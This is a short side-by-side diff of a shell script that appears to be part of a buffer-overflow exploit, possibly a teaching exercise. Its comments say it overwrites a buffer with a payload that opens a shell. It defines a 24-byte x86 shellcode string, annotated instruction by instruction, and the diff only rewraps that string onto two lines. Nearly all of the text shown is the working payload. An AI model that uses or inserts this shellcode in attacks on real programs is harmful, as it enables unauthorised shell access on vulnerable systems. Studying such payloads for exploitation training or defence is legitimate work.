equal
deleted
inserted
replaced
3 # shellscript that overwrites the buffer with |
3 # shellscript that overwrites the buffer with |
4 # some payload for opening a shell (the payload |
4 # some payload for opening a shell (the payload |
5 # cannot contain any \x00) |
5 # cannot contain any \x00) |
6 |
6 |
7 |
7 |
8 shellcode="\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" |
8 shellcode="\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62 |
|
9 \x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" |
9 |
10 |
10 # 24 bytes of shellcode |
11 # 24 bytes of shellcode |
11 |
12 |
12 # "\x31\xc0" // xorl %eax,%eax |
13 # "\x31\xc0" // xorl %eax,%eax |
13 # "\x50" // pushl %eax |
14 # "\x50" // pushl %eax |